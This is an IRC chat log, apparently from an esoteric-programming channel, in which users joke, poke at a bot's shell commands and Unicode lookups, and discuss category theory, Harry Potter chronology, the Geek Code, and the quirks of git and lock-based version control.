09:07:36 <hppavilion[1]> shachaf: (1) Taneb is a thing (2) If it is a thing, nitia invented it (C) nitia invented Taneb
09:07:44 <shachaf> Taneb isn't a thing
09:08:04 <shachaf> And anyway, nitia is the inventor of all things, not of each thing.
09:08:17 <Taneb> shachaf, well, if you have like an initial algebra
09:08:26 <Taneb> It somehow magically is an isomorphism
09:08:39 <oerjan> `? the comic irregulars
09:08:40 <HackEgo> the comic irregulars? ¯\(°​_o)/¯
09:08:44 <shachaf> Do you know a proof? There are p. neat proofs of it.
09:10:59 <hppavilion[1]> Silly shachaf, p isn't a number! Also, trix is for kids!
09:11:00 <oerjan> darn
09:11:07 <oerjan> `? comic irregulars
09:11:09 <hppavilion[1]> (If the joke wasn't clear enough)
09:11:09 <HackEgo> comic irregulars? ¯\(°​_o)/¯
09:11:13 <oerjan> now what
09:11:21 <oerjan> `wisdom irreg
09:11:25 <HackEgo> ​//cat: : No such file or directory
09:11:35 <Taneb> shachaf, I'm not even quite sure what it means
09:11:50 <shachaf> Taneb: oh boy are you in for a treat hth
09:12:00 <oerjan> `` rgrep 'invented Taneb' wisdom
09:12:10 <Taneb> I left my category theory textbook in my other bedroom
09:12:15 <shachaf> Taneb: Guess what else? F-coalgebras are also isomorphisms!
09:12:20 <Taneb> !
09:12:28 <shachaf> Er, terminal F-coalgebras.
09:12:32 <oerjan> now what
09:12:40 <shachaf> Which category theory textbook? Which bedroom?
09:12:44 <oerjan> `echo hi
09:12:44 <HackEgo> No output.
09:12:45 <HackEgo> hi
09:12:51 <oerjan> `` rgrep 'invented Taneb' wisdom
09:13:05 <shachaf> copumpkin knows all about Lambek's lemma.
09:13:06 <HackEgo> wisdom/ci:The CIs are a secret society led by David Morgan-Mar, bent on conquering the world from Sydney with web comics and unsolvable puzzles. They invented Taneb.
09:13:11 <oerjan> ah.
09:13:20 <shachaf> oerjan: Oh, is that what it stands for?
09:13:22 <oerjan> stupid acronyms >:)
09:13:27 <oerjan> shachaf: yep
09:13:32 <shachaf> you may have unwittingly given away a member-only secret
09:13:57 <oerjan> shachaf: i think it is fairly well explained on the darths & droids site
09:14:00 <Taneb> shachaf, Categories by Schubert
09:14:19 <shachaf> Are you sure that's not a symphony or something?
09:14:42 <Taneb> Different Schubert
09:15:10 <shachaf> `erro or is it?
09:15:12 <HackEgo> or is it?
09:15:22 -!- pikhq has joined.
09:15:23 <shachaf> See, even when I want to use that program, it's broken.
09:15:38 <shachaf> Taneb: Well, you're done with university for the summer, right?
09:15:45 <shachaf> So it's the perfect time to learn about initial algebras.
09:15:47 <Taneb> Not quite!
09:16:02 <Taneb> I have a meeting with my supervisor on the 14th
09:16:44 <shachaf> Do you have a superhelmet?
09:17:23 <shachaf> Do you know what an F-algebra is?
09:17:42 <Taneb> I don't have a superhelmet but I do have a tophat
09:18:03 <Taneb> An F-algebra is the grade I'd get if I was in the US or something and didn't revise
09:18:36 <oerjan> `cat bin/erro
09:18:38 <HackEgo> echo "$(echo -e '\000304')$1"
09:21:00 <oerjan> `` unidecode "$(echo -e '\000304')"
09:21:10 <HackEgo> U+0003 <control> \ UTF-8: 03 UTF-16BE: 0003 Decimal: &#3; \ \ Category: Cc (Other, Control) \ Bidi: BN (Boundary Neutral) \ \ U+0030 DIGIT ZERO \ UTF-8: 30 UTF-16BE: 0030 Decimal: &#48; \ 0 \ Category: Nd (Number, Decimal Digit) \ Numeric value: 0 \ Digit value: 0 \ Bidi: EN (European Number) \ \ U+0034 DIGIT FOUR \ UTF-8: 34 UTF-16BE: 003
09:21:11 <oerjan> *sigh*
09:22:12 <oerjan> `` echo -e '\000304' | hexdump
09:22:15 <HackEgo> 0000000 3003 0a34 \ 00000000004
09:23:03 <oerjan> test
09:23:07 <oerjan> nope
09:23:23 <shachaf> Oh, I get it.
09:23:45 <shachaf> `` echo -e '\000304' | hexdump
09:23:46 <HackEgo> 0000000000000 3003 0a34 \ 000000000000004
09:24:03 <shachaf> self-foiled
09:24:05 <oerjan> wat
09:24:27 <shachaf> `` echo -e '\000304' | hexdump
09:24:28 <HackEgo> 0000000000000 3003 0a34 \ 0000000000000004
09:24:55 <oerjan> my problem is that i cannot actually read the output of hexdump in its default format :(
09:25:25 -!- mroman has joined.
09:25:31 <shachaf> `` echo -e '\000304' | hexdump
09:25:32 <HackEgo> 00000000000 3003 0a34 \ 00000000000004
09:25:33 <shachaf> Er.
09:25:39 <shachaf> `` erro ABC | xxd
09:25:40 <HackEgo> 0000000000000000: 0330 3441 4243 0a .04ABC.
09:25:44 <mroman> http://i.imgur.com/ErM9y9o.png
09:25:47 -!- xkapastel has quit (Quit: Connection closed for inactivity).
09:25:49 <mroman> who can guess what this depicts :)
09:26:28 <mroman> proudly created by my patent-pending (c)(tm)(r) image algorithm.
09:27:01 <myname> you,have a copyright on patent-pending?
09:27:45 <mroman> I might have.
09:28:07 <mroman> My great-big-huge-great-grandiose-grandfather patented the concept of patents.
09:28:18 <shachaf> They called him Patent Ted.
09:30:07 <mroman> (http://i.imgur.com/KXWXTL7.png same algorithm but probably easier to guess what the input image was)
09:30:34 <oerjan> `` erro '' | xxd -g 1
09:30:45 <HackEgo> 0000000000000: 03 30 34 0a .04.
09:30:49 <shachaf> Taneb: An F-algebra is just a function : F A -> A
09:31:11 <shachaf> `url bin/unidecode
09:31:14 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/unidecode
09:32:14 <oerjan> `mkx bin/erro//echo "$1" | sed 's///'
09:32:55 <HackEgo> bin/erro
09:33:11 <shachaf> I think deleting it might be a more useful treatment.
09:33:15 <oerjan> `erro or is it?
09:33:16 <HackEgo> or is it?
09:33:24 <oerjan> hm
09:33:31 <oerjan> `mkx bin/erro//echo "$1" | sed 's///'
09:33:35 <HackEgo> bin/erro
09:33:38 <oerjan> `erro or is it?
09:33:40 <HackEgo> or is it?
09:34:22 <oerjan> i'm not quite sure if there's a difference, but eh
09:34:45 <shachaf> `erro or is there
09:34:46 <HackEgo> or is there
09:35:51 <shachaf> `erro or is there
09:35:53 <HackEgo> or is there
09:36:15 <oerjan> good
09:39:19 <shachaf> `` echo or is it? | zalgo
09:39:22 <HackEgo> o̶̼r̻͚ ̼̝̘͉i̪ͥs̘็̶ͪ ͖̝i็͠t̼͞?̩̲
09:40:29 <shachaf> `cat bin/zalgoerjan
09:40:30 <HackEgo> echo -n "oerjan $@" | zalgo
09:40:33 <shachaf> `cat bin/zalgreet
09:40:34 <HackEgo> welcome $@ | zalgo
09:40:38 <shachaf> I wonder who's to blame for those.
09:40:43 <shachaf> `zalgreet shachaf
09:40:48 <HackEgo> sͮͬh͋͌ą̶ć͢h͉͑a̗ͮf̱̍:̸ͩ ͉̂W͈ͮè͌l̮̄c͓ͯo̙͌mͩ̂e͖͝ ͓͈t̙̒o̭̣ ̩̺t̵̻ȟͦe̜͋ ̮͇i̐̓n͇̠t͒̊e̙͘r̋͜n̓̍a̓͛ťͦḭ̚o̍ͦnͧ͞a̧̙l̪̄ ͮ̋h͕̄uͩ͘b͓̘ ̥͡f͒̍o̿ͭr̎ͯ ̝̣eͣ͘s͚̓o̶͒t̻̍e̿̽r̲͆i͑ͥc̨̋ ̤͟p̙҉r̷̛o̥̬g҉̂r͉̒aͧͬm̲̝m̵̗i̅ͅn͗̒g̠͖ ̱̓ľ̡ḁ͠n̠͏
09:41:21 <shachaf> `zalgoierjan today is the day i am going to sleep
09:41:22 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: zalgoierjan: not found
09:41:28 <shachaf> `zalgoerjan today is the day i am going to sleep
09:41:31 <HackEgo> o̟͇e͑̆r̷̜j̦ͣaͤ̀ñͪ ͏͒t͙ͣo҉̺d͐ͪạ̴y̺͍ ̌̈i̼͠s̅็ ͩ͡tͮ̿h̍͆eͭͬ ͕͊d͙̀ā͎y͖ͫ ͭͥḭ̔ ̈͘ȧ͓m͈̠ ͙̀g̷̳oͮ͞i̬͘n̜ͯg̖͘ ̲̱t͔͙ô̝ ̸̙s̏͝l͉͏e̠̬e̺็p̅̀
09:41:34 <shachaf> Maybe I'm the spammer.
09:43:39 <shachaf> Taneb: What's the smallest diagram you can use to prove Lambek's lemma?
09:43:56 <shachaf> In http://permalink.gmane.org/gmane.science.mathematics.categories/5256 Pratt uses five arrows.
09:44:10 <oerjan> the spammer was in you all along.
09:44:42 -!- oerjan has quit (Quit: Nite).
09:45:02 <shachaf> oerjan: Every time someone says that it reminds me of that StackOverflow answer.
09:51:47 -!- idris-bot has joined.
09:54:10 <mroman> > 0.1/100
09:54:12 <lambdabot> 1.0e-3
10:06:40 -!- Destructible has joined.
10:06:44 <Destructible> hi
10:07:04 <Destructible> anyone?
10:07:08 <Destructible> anybody?
10:07:13 <Destructible> :(
10:07:17 <Destructible> D:
10:08:00 <Destructible> ˚n˚
10:08:19 <Destructible> ;-;
10:11:11 <mroman> hi
10:12:36 <myname> you interrupted hime
10:27:59 <Destructible> ?
10:28:14 <Destructible> goddamnit
10:28:19 -!- Destructible has quit (Quit: Page closed).
10:36:40 -!- heroux has joined.
10:41:32 -!- Koen_ has joined.
10:43:37 -!- hppavilion[1] has quit (Ping timeout: 250 seconds).
10:48:59 -!- Phantom_Hoover has joined.
10:53:21 -!- hppavilion[1] has joined.
11:02:26 <izabera> `` printf AB | od --endian=little -An -x
11:02:27 <HackEgo> od: unrecognized option '--endian=little' \ Try `od --help' for more information.
11:02:36 <izabera> :C
11:08:54 -!- AnotherTest has joined.
11:12:06 -!- ais523 has joined.
11:13:36 -!- boily has joined.
11:15:04 -!- ais523 has quit (Client Quit).
11:16:24 -!- ais523 has joined.
11:22:35 <hppavilion[1]> I'm reading Overwatch characters' backstories
11:22:37 <hppavilion[1]> "Twenty years ago, South Korea was attacked by a colossal omnic monstrosity that rose from the depths of the East China Sea. The massive, lumbering construct caused catastrophic damage to coastal cities before it was driven back beneath the waves."
11:22:45 <hppavilion[1]> This sounds familiar
11:23:57 <hppavilion[1]> The character is, of course, a pro gamer who pilots a mech.
11:23:59 <hppavilion[1]> Of course.
11:24:00 <int-e> :t coerce
11:24:02 <lambdabot> (Functor f, Contravariant f) => f a -> f b
11:24:39 <hppavilion[1]> The justification being that the AI that kept fucking things up started messing with the mech control WiFi, so they decided to put people in the mechs themselves and not use wireless control
11:25:20 <hppavilion[1]> Oh god, she livestreams battling monstrosities.
11:26:22 -!- AnotherTest has quit (Ping timeout: 250 seconds).
11:31:07 <izabera> how far is south korea from doing actual mech battles anyway?
11:31:40 <ais523> izabera: apparently Japan and the US have agreed to have an actual giant mech battle some time in the near future
11:32:02 <izabera> that sounds exciting and scary
11:32:12 <Phantom_Hoover> hppavilion[1], i thought that was from _9mother9horses9eyes9 at first
11:32:24 <hppavilion[1]> ais523: On a government level, or independent corporations?
11:32:35 <ais523> hppavilion[1]: independent
11:32:42 <hppavilion[1]> ais523: Ah, that's less awesome
11:32:59 <ais523> I think the purpose is for the giant mech manufacturing companies to show off their ability to build giant mechs
11:33:22 <hppavilion[1]> Also, I think Japan should to genetic engineering instead of a mech. Godzilla the- pardon my method of human communication, either spoken or written, consisting of the use of words in a structured and conventional way- shit out of us fuckers
11:34:00 <Taneb> ais523, are there actually giant mechc manufacturing companies
11:34:05 <Taneb> Are they a thing which really exist
11:34:20 <ais523> Taneb: I assume they manufacture other things too
11:34:32 <izabera> like giant mech repairing parts
11:34:48 <hppavilion[1]> izabera: And giant mech grease
11:35:10 <hppavilion[1]> "Hi, I'm here to buy lube for my giant mech, do you carry that here?"
11:37:44 <izabera> kyjelly works on mecha
11:40:08 <mroman> hm. derivative works are still copyright infringement
11:40:10 <mroman> what the heck
11:40:26 <hppavilion[1]> https://docs.google.com/document/pub?id=1KmcAgo2JEbSFBr6ZFRHUSp3Ey4gXyi384U90HLipCnE
11:40:29 <hppavilion[1]> mroman: Wat.
11:40:30 <Phantom_Hoover> that's kind of obvious, right
11:40:32 <hppavilion[1]> mroman: Wat.
11:40:45 <hppavilion[1]> mroman: WAT THE FUCK, WATEVER COUNTRY THIS IS
11:40:58 <hppavilion[1]> mroman: Oh, but parody is exempt under free use in the US
11:41:23 <hppavilion[1]> Not that anyone likes to respect that unless you put a big honking banner at the beginning; and even then you're at risk on e.g. YouTube
11:41:23 <Phantom_Hoover> like if you started writing knock-off harry potter sequels in 1997 then jk rowling would be rightly upset
11:41:38 <hppavilion[1]> Phantom_Hoover: ...TPS was published in 1998
11:41:48 <Phantom_Hoover> 2000 then!!
11:41:54 <izabera> that's why she'd be upset
11:41:59 <Taneb> hppavilion[1], it was set in 1990, iirc
11:42:12 <hppavilion[1]> Taneb: Yeah, but... OK, you're trolling, right?
11:42:58 <hppavilion[1]> Taneb: Wait, I think harry was /born in 1990; IIRC, the last book actually takes place in the future
11:43:03 <hppavilion[1]> *born/
11:43:16 <hppavilion[1]> Wait, that still doesn't work
11:43:28 <hppavilion[1]> Like, we still haven't gotten to the year that Harry beats the shit out of Voldemort in
11:44:07 <Koen_> hmmm
11:44:10 <Koen_> not true
11:44:30 <hppavilion[1]> Koen_: I distinctly remember reading that DH is in 2017
11:44:31 <Phantom_Hoover> the main narrative of the books is '91-'98 or so
11:44:42 <Phantom_Hoover> the epilogue is in 2017
11:44:43 <Koen_> I think he was born in 1990 and he beat Voldemort when he was 17 or 18
11:44:51 <Taneb> hppavilion[1], the Harry Potter wiki says he was born in 1980
11:44:59 <Koen_> what
11:45:07 <hppavilion[1]> Taneb: OK, now I'm confused
11:45:39 <hppavilion[1]> Weird; https://en.wikipedia.org/wiki/Harry_Potter doesn't include the first occurence of the word "friends" as a link
11:46:09 <Koen_> actually, I read a hp fanfiction recently and I think they said the first year was set in 1992, I was so confused. why is the story taking place in the past??
11:46:41 <hppavilion[1]> Oh! They're publishing "The Cursed Child" apparently. That's cool I guess; it wasn't written by JK, so it'll probably suck though. Because puritanism.
11:47:03 <Taneb> Koen_, because otherwise it would take place in the future
11:47:15 <Koen_> isn't The Cursed Child a play?
11:47:26 <Koen_> "This article is about the television sitcom. For the social concept, see friendship. For other uses, see Friends (disambiguation)."
11:47:29 <Koen_> eh
11:50:12 <hppavilion[1]> Oh, yeah, 1980
11:50:23 <hppavilion[1]> Koen_: Yeah, but it's being converted to a book
11:50:32 <hppavilion[1]> Koen_: Which is what I meant
11:50:39 <Koen_> oh, ok
11:51:15 <hppavilion[1]> https://en.wikipedia.org/wiki/Friendship doesn't include a "Criticism" section
11:51:25 <hppavilion[1]> That's pretty biased for Wikipediea
11:52:38 <hppavilion[1]> Someone go add that
11:57:42 <hppavilion[1]> There; requested it in Talk
11:57:49 <hppavilion[1]> (Wikipedia doesn't hate fun, right?)
12:02:06 -!- ais523 has quit (Quit: lunchtime).
12:03:58 <hppavilion[1]> It must suck to be a 1337 h4x0r who speaks a CJK language primarily
12:08:42 <hppavilion[1]> e.g. "Austin rocks" is weaker than "Austin roxxorz" (note spelling), which is weaker than "Au5t1N is t3h r0xx0rz" (note grammar), which is weaker than something like "0MFG D00D /\Ü571N 15 T3H l_l83Я 1337 Я0XX0ЯZ" (OMG, dude, Austin is the über-elite rocks-er!).
12:08:48 <hppavilion[1]> Direct quote of Wikipedia.
12:10:22 -!- AnotherTest has joined.
12:17:16 -!- boily has quit (Quit: HEADACHE CHICKEN).
12:23:29 <int-e> "l33t" strength
12:24:48 -!- AnotherTest has quit (Ping timeout: 244 seconds).
12:28:02 <Taneb> 57r3|\|g7}{
12:28:08 <int-e> I'm too old for this.
12:30:12 -!- bender has joined.
12:45:08 <hppavilion[1]> I'm reading the Geek Code and slowly realizing it's a bit outdated
12:45:23 <hppavilion[1]> For example, does anybody really use Perl any more?
12:45:29 * hppavilion[1] ducks
12:47:37 <hppavilion[1]> L+++++ (L is Linuxiness) is defined as "I am Linus, grovel before me."
12:49:23 <hppavilion[1]> L---, of course, is "I am Bill Gates"
12:50:03 <hppavilion[1]> "I read ... alt.sex.emacs"
12:51:10 <int-e> geek code was popular on usenet 15 to 20 years ago.
12:51:56 <hppavilion[1]> Oh... Oh god...
12:51:58 <hppavilion[1]> It's a thing
12:52:11 <hppavilion[1]> (well, gnu.emacs.sex is, at least)
12:52:18 <hppavilion[1]> int-e: Yes, and I'm reading about it now
12:52:25 <hppavilion[1]> int-e: Because I was not born in its heyday
12:52:30 <int-e> is it about Software EXchange?
12:52:55 <int-e> (the .sex group)
12:53:15 <hppavilion[1]> And... it appears gnu.emacs.sex is full of links to child porn. Awesome.
12:53:51 <int-e> uh yay
12:54:00 <Phantom_Hoover> looks like vim wins this one
12:54:01 <hppavilion[1]> int-e: "Awesome" was sarcasm hth
12:54:11 <int-e> hppavilion[1]: so was "uh yay"
12:54:36 <hppavilion[1]> Good.
12:54:45 <hppavilion[1]> int-e: I would have to report you to the police otherwise.
12:54:48 <hppavilion[1]> Not the internet police.
12:54:51 <hppavilion[1]> The real police.
12:54:57 <hppavilion[1]> Jaredism is serious business.
12:57:13 -!- bender__ has joined.
12:57:42 <hppavilion[1]> World Wide Web: "It's relatively new. It's little understood. Everybody's doing it. How much of a web-surfer are you? "
12:57:54 <hppavilion[1]> W+++: "I am a WebMaster . Don't even think about trying to view my homepage without the latest version of Netscape."
12:58:40 -!- bender has quit (Ping timeout: 260 seconds).
12:59:03 -!- bender__ has changed nick to bender.
13:03:09 -!- hppavilion[1] has quit (Ping timeout: 250 seconds).
13:43:21 -!- zenobit has joined.
13:45:06 -!- zenobit has quit (Client Quit).
13:54:40 -!- Sgeo_ has quit (Ping timeout: 260 seconds).
14:23:41 -!- lambda-11235 has joined.
14:25:18 -!- spiette has joined.
14:36:36 -!- FreeFull has joined.
14:37:57 -!- ais523 has joined.
14:49:17 -!- TellsTogo has joined.
14:49:32 -!- moon_ has joined.
14:50:27 <moon_> hi
14:51:57 <HackEgo> [wiki] [[]] https://esolangs.org/w/index.php?diff=47147&oldid=46136 * Rottytooth * (-95) /* Language overview */ simplifed description
14:52:25 <HackEgo> [wiki] [[]] https://esolangs.org/w/index.php?diff=47148&oldid=47147 * Rottytooth * (-98) /* Commands */
14:52:36 <HackEgo> [wiki] [[]] https://esolangs.org/w/index.php?diff=47149&oldid=47148 * Rottytooth * (+2) /* Commands */
14:53:43 <HackEgo> [wiki] [[]] https://esolangs.org/w/index.php?diff=47150&oldid=47149 * Rottytooth * (+92)
14:54:45 <HackEgo> [wiki] [[Folders]] https://esolangs.org/w/index.php?diff=47151&oldid=45913 * Rottytooth * (+120) /* External resources */
15:00:09 <moon_> someone is mooning the wiki, thats MY job
15:00:30 <ais523> i thought it was an upside-down C
15:00:59 <moon_> it is.. i think
15:01:16 <moon_> `unicdecode Ↄ
15:01:35 <moon_> `unidecode Ↄ
15:02:01 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: unicdecode: not found
15:02:01 <HackEgo> ​[U+2183 ROMAN NUMERAL REVERSED ONE HUNDRED]
15:02:48 <moon_> you know what, who cares? i need coffee
15:03:12 -!- `^_^v has joined.
15:03:15 <moon_> hi
15:03:39 <ais523> hmm, I wonder if there's a ROMAN NUMERAL ONE HUNDRED
15:03:44 <ais523> or if people just use the regular C for that
15:03:48 <ais523> `unicode ROMAN NUMERAL ONE HUNDRED
15:03:52 <HackEgo> ​Ⅽ
15:04:02 <ais523> `unidecode ​Ⅽ
15:04:04 <HackEgo> ​[U+200B ZERO WIDTH SPACE] [U+216D ROMAN NUMERAL ONE HUNDRED]
15:04:12 <ais523> ​ⅭC
15:04:15 <ais523> they look identical to me
15:11:44 <moon_> they are
15:11:51 <int-e> `unidecode СⅭC
15:11:56 <HackEgo> ​[U+0421 CYRILLIC CAPITAL LETTER ES] [U+216D ROMAN NUMERAL ONE HUNDRED] [U+0043 LATIN CAPITAL LETTER C]
15:13:04 <int-e> `unidecode Ϲ
15:13:07 <HackEgo> ​[U+03F9 GREEK CAPITAL LUNATE SIGMA SYMBOL]
15:14:14 <int-e> `unidecode Ꮯ
15:14:16 <HackEgo> ​[U+13DF CHEROKEE LETTER TLI]
15:16:33 <int-e> `unidecode ꓚ
15:16:34 <HackEgo> ​[U+A4DA LISU LETTER CA]
15:19:30 <int-e> I'm sure there's more... it seems to be a fairly popular glyph
15:24:37 <b_jonas> hello, ais523
15:24:51 <ais523> hi
15:25:12 <b_jonas> ais523: there is, but iirc those roman numeral glyphs are deprecated and synonyms of the plain letters, or something
15:25:52 <b_jonas> ais523: I wanted to say two things to you
15:26:19 <ais523> can you remember either of them? if you can, can you remember both of them?
15:27:20 <b_jonas> (1) look at that Erik Demaine paper, I think it's right in your alley, because it abuses arbitrary size integers to store unbounded data in a machine that has only finite registers,
15:28:43 <int-e> hmm, ITYM "up your alley" (puzzled me for a bit)
15:33:01 <b_jonas> and (2) you know how git checkout has two modes (actually more like four or five, but whatever), a safer one where it changes the HEAD pointer and checks out changes between the previous and current head, and a dangerous mode where it overwrites files in the working tree with copies from HEAD? I think this combination is dangerous because the grammar for how git parses revisions and paths is seriously screwed up, so I set up an alias for the safer mode,
15:33:14 <b_jonas> \ I think this combination is dangerous because the grammar for how git parses revisions and paths is seriously screwed up, so I set up an alias for the safer mode, and am trying to use that rather than git checkout directly when possible.
15:33:34 <b_jonas> Also, for convenience I made the alias print what HEAD pointed to before the change.
15:34:35 <int-e> <3 git reset --hard
15:34:35 <b_jonas> I'm thinking I should do something with git reset too, because that also has two unrelated modes.
15:35:25 <int-e> wheras git reset --mixed is just too confusing ;)
15:36:00 <b_jonas> But even this way, git is crazy.
15:36:23 <b_jonas> (I set up some other aliases too, but those are most just for less typing, not for avoiding dangerous operations.)
15:36:51 <int-e> crazy, hmm.
15:38:09 <b_jonas> ais523: ^
15:38:09 <int-e> I call it powerful.
15:39:00 <ais523> b_jonas: I wouldn't call checkout having two modes
15:39:00 <ais523> it's more like two different commands that happen to have the same naem
15:39:00 <ais523> *name
15:39:21 <ais523> also, the dangerous one should probably just commit the files that are being checked out to a floating/anonymous branch before it overwrites them
15:39:31 <ais523> that's what scapegoat would do for the analagous operation
15:39:57 <int-e> basically, git stash?
15:40:48 <b_jonas> ais523: about that, is there something that ensures that anonymous commits (such as the previous referent of a branch after git reset to a branch) don't get immediately eliminated by a git gc that git runs automatically?
15:41:21 <ais523> b_jonas: I believe the reflog would put a delay of several weeks in
15:41:37 <b_jonas> ais523: the reflog holds strong pointers? nice
15:41:58 <ais523> they're strong but date-limited, IIRC
15:42:03 <b_jonas> ok
15:42:51 <int-e> gc.reflogExpire ... defaults to 90 days.
15:43:24 <int-e> hmm, no, that's not it
15:43:50 <b_jonas> The third command that has two "modes" of different danger level is git branch, and I've invoked the worse mode accidentally a few times, but both modes are quite safe so it doesn't matter as much, and also someone here told me the alternative to the git branch -l mode
15:43:50 <int-e> that's for pruning the reflog itself. there's a separate gc.reflogExpireUnreachable which defaults to 30 days
15:44:47 <b_jonas> The git for-each-ref lets me list each branch, remote branch, and tag, in a uniform format, which is something I can't get git tag and git branch to do.
15:48:42 <b_jonas> ais523: I'm using git to work together with other developers who use git, so sadly, even if scapegoat existed and was good enough for my personal projects, I'd have to use git (unless scapegoat had some very serious git server compatibility mode)
15:49:05 <b_jonas> But I can at least improve the more stupid git commands by interfaces over them.
15:52:09 <int-e> "In the early days of Git (mostly pre 1.5), the user interface was much more complex because it emphasized this filesystem rather than a polished VCS. In the last few years, the UI has been refined until it’s as clean and easy to use as any system out there; but often, the stereotype lingers about the early Git UI that was complex and difficult to learn."
15:52:20 <int-e> (ref: https://git-scm.com/book/en/v2/Git-Internals-Plumbing-and-Porcelain )
15:53:16 <ais523> I think the cleanest VCS UI is that of Google Docs
15:53:23 <ais523> it just commits the current state of the file every x minutes
15:53:35 <ais523> and has no user-visible commands except to view and/or revert to older states
15:53:40 <APic> Emacs > *
15:53:42 <APic> *duck*
15:53:44 <APic> ;)
15:53:54 <ais523> note: being a clean UI is not the same as being a /good/ UI, it can only be that clean because it has so little functionality
15:53:59 <APic> True.
15:55:32 <b_jonas> int-e: well, git still looks to me like it was designed for version controlling linux kernel trees. as in, it's very convenient if all the commits you handle are nice well-behaved, rather than random moves and whole-file changes commiteed by your co-workers as they bang on the keyboard without understanding what they do, you almost never rename files or trees or modify lots of content at once,
15:56:09 <b_jonas> you don't want sparse checkouts because the kernel tree doesn't get too large and you don't want to compile half a kernel, the whole thing is stable enough that you can run git bisect to check out any random version from the history and actually expect it to compile and mostly work,
15:56:26 <b_jonas> files are named sanely, files contain mostly nice text, etc.
15:56:37 <b_jonas> But that's just not the use case we have here.
15:57:13 <b_jonas> It's a great tool for linus for merging patches from his subordinate kernel developers, sure.
15:57:43 <b_jonas> And it certainly has the marketing result of getting everyone to know distributed version control.
15:58:09 <int-e> github indicates that it works well for others as well
15:58:16 <mroman> version control sucks.
15:58:31 <mroman> try merging two edits to the same file from two people using different editors
15:58:34 <mroman> you're fucked.
15:58:49 <int-e> no?
15:58:55 <ais523> mroman: I'm considering writing a layer that goes between the file and the VCS
15:58:58 <ais523> and makes edits to make it more diffable
15:59:27 <mroman> int-e: the problem is formatting of certain editors really makes diff useless
15:59:27 -!- Kaynato has joined.
15:59:40 <int-e> you establish coding styles to prevent that
15:59:43 <b_jonas> int-e: github works well for (1) single-person toy projects, and (2) serious fsf projects that are developped slowly enough that they can just exclude all the bad contributions from the repository, until people slowly learn to submit sane changes formatted nicely.
16:00:26 <int-e> b_jonas: the chaos you describe will be messy with any VCS, I'd expect.
16:00:56 <b_jonas> ais523: such as a setting to unzip MS office files, store the unzipped version in vcs, and figure out the permutation how the numbered image files embedded in the document correspond to each other?
16:01:05 <mroman> y'll should use Visual Source Safe from Microsoft (TM)
16:01:23 <ais523> I've heard so many bad things about VSS
16:01:30 <mroman> It's really reasonably priced, tight Visual Studio Integration, nice UI
16:01:36 <mroman> (I have no idea how much it is)
16:01:38 <ais523> b_jonas: I wasn't thinking of MS Office, was planning to work on easier formats first
16:01:49 <ais523> but that sort of thing in less insane formats
16:02:02 <b_jonas> ais523: like xml? single-line xml or indented xml?
16:03:10 <b_jonas> ais523: unzipping ms office files helps even if you don't diff (or only use ms office's built-in diff and merge tools), for improving the compression (you want some sort of delta-compression, right?).
16:03:37 <b_jonas> But obviously it must only be done if the user explicitly asks for it, because unzipping and rezipping doesn't preserve arbitrary binary files, unless you do it very cleverly.
16:04:15 <mroman> also I think usually only one person works on a specific branch
16:04:27 <b_jonas> By default vcs should preserve the binary content, even if it's crazy mixed crlf and lf files that seem like text and have a text extension (some vcs uis fail this simple test).
16:04:27 <ais523> b_jonas: I was thinking of things like replacing indentation with increase-indentation and decrease-indentation commands
16:04:39 <ais523> and removing all formatting from the code if it has a consistent style, instead just expressing the file
16:04:41 <ais523> *the style
16:04:45 <mroman> but on github people only use pull/push anyway
16:04:54 <ais523> the idea is to be a lossless compression that separates form from content
16:05:04 <mroman> that's why you have so many annoying "Merge branch" commits all over the place
16:05:06 <b_jonas> ais523: hmm... but indentation can be tricky if people mix different tabbing formats
16:05:30 <ais523> add "tabbing format changes here" directives :-)
16:06:26 <b_jonas> ais523: yeah. also add "stupid worker reindented my code with their editor's default settings and lost all the indentation in the comments and added spaces inside brace initializers" directive too
16:06:32 <mroman> I should write a little copy-on-write version control just to see how big I screw up :(
16:06:46 <b_jonas> and "converted the whole file to crlf line endings" directives
16:07:21 <mroman> ais523: what bad things have you heard?
16:07:27 <mroman> except that it's lock-modify-write?
16:07:42 <mroman> and dumbass people from other version control checkout the whole repos
16:07:48 <mroman> whereas checkout in VSS means something completely different :D
16:08:11 <int-e> oh good old rcs semantics
16:08:17 <mroman> checkout locks the file
16:08:29 <mroman> so if you think you need to checkout the repos (like in svn) you lock everybody out
16:08:34 <ais523> mroman: it was a while back, I'm not sure I remember the details
16:08:38 <ais523> it might involve corruption
16:08:48 <mroman> hm.
16:09:51 <mroman> generally locking isn't really a huge issue
16:10:07 <mroman> if the project is big chances that you're working on the same files at the same time are not that great
16:10:14 <mroman> you checkout, edit, checkin as soon as possible
16:10:21 <b_jonas> mroman: ah, that sounds so great in theory
16:10:37 <b_jonas> mroman: and you get no conflicts, ever
16:10:39 <b_jonas> would be great
16:10:43 <mroman> in case you need to edit like a template file because you've changed the view and some designer is fiddling with the template files
16:10:49 <zzo38> I just use Fossil
16:10:59 <mroman> you just ask the person holding the lock
16:11:12 <b_jonas> and of course, people don't change their apis randomly every week either, so your code just continues to work when you pull
16:11:26 <mroman> if you work in a team located in the same bureau it's a pretty good workflow
16:11:30 <b_jonas> zzo38: wait, you do?
16:11:35 <b_jonas> I didn't know that
16:12:15 <mroman> b_jonas: no there's only "hey I need to edit that too" conflicts.
16:12:41 <mroman> but that doesn't happen too often to be a problem. But that might depend on the project :)
16:12:42 <b_jonas> mroman: ah yes, with coworkers that are gone for a holiday for ten days
16:12:45 <zzo38> Currently I only have one project that I even have the version controlled it is Farbfeld Utilities, but I could use it for others too if I needed to.
16:12:52 <mroman> b_jonas: that is a problem. yes.
16:13:01 <mroman> if you have things checked out and vanish then yes :D
16:13:07 <zzo38> So while I use, it is only for one project so far
16:13:19 <mroman> you can forcefully unlock files of course
16:13:33 <b_jonas> zzo38: i SEE
16:13:40 <mroman> and then the person has to integrate his changes when he returns somehow.
16:13:49 <mroman> you can still do diffs and merges
16:13:52 <b_jonas> mroman: sure you can. and you can also overwrite other people's changes with your changes on a conflict. I've seen it happen.
16:14:27 <mroman> you can even produce edits that yield semantically wrong code when auto-merging is taking place
16:14:45 <mroman> so it's not like auto-merging is something that you shouldn't manually check now and then :D
16:15:52 <b_jonas> mroman: sure, that's what happens when people keep changing their apis
16:15:54 <mroman> if you really need to edit a file somebody has locked (i.e. if you want to test things locally) then you can just get a copy of the last version, make your changes
16:16:03 <mroman> then wait for the lock to release and merge your local changes in
